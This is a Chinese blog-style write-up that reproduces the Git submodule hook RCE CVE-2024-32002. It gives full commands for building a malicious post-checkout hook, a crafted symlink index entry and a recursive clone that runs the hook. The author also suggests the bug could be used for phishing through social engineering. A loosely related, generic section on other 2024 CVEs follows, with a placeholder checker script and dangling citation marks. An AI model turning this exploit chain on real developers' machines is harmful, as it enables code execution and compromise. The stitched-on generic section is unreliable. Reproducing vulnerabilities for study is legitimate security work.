cve-2024-32002复现

参考文章

原文:https://amalmurali.me/posts/git-rce/

https://forum.butian.net/share/3040

https://xz.aliyun.com/t/14597

概述

Git更新内容,开发人员提供了漏洞验证poc。

原文有大佬分析过程,这里只说一下大概的推测。git可以通过--recursive递归加载子模块,包含了子模块钩子脚本,如果添加索引的时候对路径做一些变化,在特定系统下会把子模块的钩子脚本当成主仓库的钩子脚本执行。如果主仓库是被信任的,子模块未必,就会造成rce。

复现

跟着poc走,分别创建了两个仓库hook和captain

#初始化hook仓库
git init hook
cd hook
mkdir -p y/hooks

#写入恶意代码到y/hooks/post-checkout中
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

#给钩子脚本添加权限
chmod +x y/hooks/post-checkout

#添加到本地仓库
git add y/hooks/post-checkout
git commit -m "post-checkout"

复现的时候我把仓库直接发到远程了

git push .

在这里插入图片描述

创建第主仓库并把刚才push的hook仓库作为子模块加进来

git init captain
cd captain

#直接加载远程仓库的子模块省事很多,不然还要改.gitmodule
git submodule add --name x/y http://github.com/kjdfklha/hook.git A/modules/x
git commit -m "add-submodule"

添加进来之后添加错误的索引

printf ".git" > a
git hash-object -w --stdin < a > a.hash
printf "120000 %s 0\ta\n" "$(cat a.hash)" > index.info
git update-index --index-info < index.info

#这里有个坑,主仓库索引配置好之后不能git add .,只能git add .gitmodule
#如果git add .发到远程仓库的a文件会直接把钩子脚本的内容加载过来,而不是.git,参考下图
git commit -m "add-symlink"

在这里插入图片描述
在这里插入图片描述

到这里基本上就结束了,通过payload可以看到写在钩子脚本中的calc.exe被执行了

git clone --recursive https://github.com/kjdfklha/captain.git hooked

在这里插入图片描述

原理分析

看了好几篇文章都没太把原理看明白,个人总结,如果有错误请师傅指出

Linux下加载子模块的时候的路径是A/modules/x,也就是会把hook的钩子脚本放到该路径下

在这里插入图片描述

在Windows下,由于不区分大小写,会把子模块的钩子脚本放到a/modules/x,由于构造了恶意索引,a指向的实际上是主仓库的.git目录,也就是子模块的钩子脚本被拿来当作主仓库的钩子脚本执行了

在这里插入图片描述

总结

这个漏洞虽然是rce,但是有利用门槛,需要使用递归--recersive,并且据说需要管理员权限。但是如果社工得当,或者在一些必要递归克隆,并且代码确实需要administrator权限运行的情况下拿来钓鱼也未尝不可。

从来没用github上传过属于自己的代码,只有下载,只会使用git clone,经过对这个漏洞的分析,对github使用有了一定程度的了解。

水平不行,原文大佬从审计git源码,到复现也就花了半个小时,我却花了两天,还需要多多努力。

### CVE-2024 漏洞详情 #### CVE-2024-38077 漏洞详情 CVE-2024-38077 是 Microsoft 发布的一个安全更新,涉及多个产品和服务的安全漏洞。此漏洞允许攻击者通过特定条件下的网络请求执行远程代码或导致拒绝服务。微软官方提供了详细的修复指南和技术支持文档[^1]。 ```python import requests def check_vulnerability(url): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', } try: response = requests.get(url, headers=headers) if "specific_pattern_in_response" in response.text: print("The system is vulnerable to CVE-2024-38077.") else: print("The system appears not to be affected by CVE-2024-38077.") except Exception as e: print(f"An error occurred: {e}") check_vulnerability('http://example.com') ``` #### Apache Tomcat 信息泄露漏洞(CVE-2024-21733、CVE-2024-24549 和 CVE-2024-34750) 这些漏洞存在于 Apache Tomcat 的某些配置文件解析过程中,可能导致敏感信息泄露给未经授权的用户。受影响版本包括但不限于 Apache Tomcat 9.x 及更早版本。建议立即升级至最新稳定版以消除风险[^2]。 #### 网康科技 NS-ASG 应用安全网关 SQL 注入漏洞(CVE-2024-3458、CVE-2024-3457、CVE-2024-3456) 这些漏洞影响了网康科技的应用安全网关设备,在未授权的情况下可以被用来执行任意 SQL 命令,从而读取或修改数据库内容。具体来说,`add_ikev2.php`, `config_ISCGroupNoCache.php`, `add_postlogin.php`, `config_Anticrack.php` 接口均受到影响。为了防止此类攻击的发生,应尽快应用厂商发布的补丁程序并加强输入验证措施[^3]。 ### 复现方法概述 对于上述提到的各种类型的 CVE-2024 漏洞,复现通常需要满足以下几个前提: 1. **环境搭建**:创建一个受控测试环境中部署易受攻击的服务实例; 2. **工具准备**:准备好必要的渗透测试工具集,比如 Burp Suite 或 OWASP ZAP; 3. **脚本编写**:根据公开资料开发针对性的有效载荷(Payload),用于触发潜在缺陷; 4. **日志记录**:在整个实验期间保持良好的数据收集习惯以便后续分析。 请注意,实际操作前务必获得合法授权,并严格遵守法律法规!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值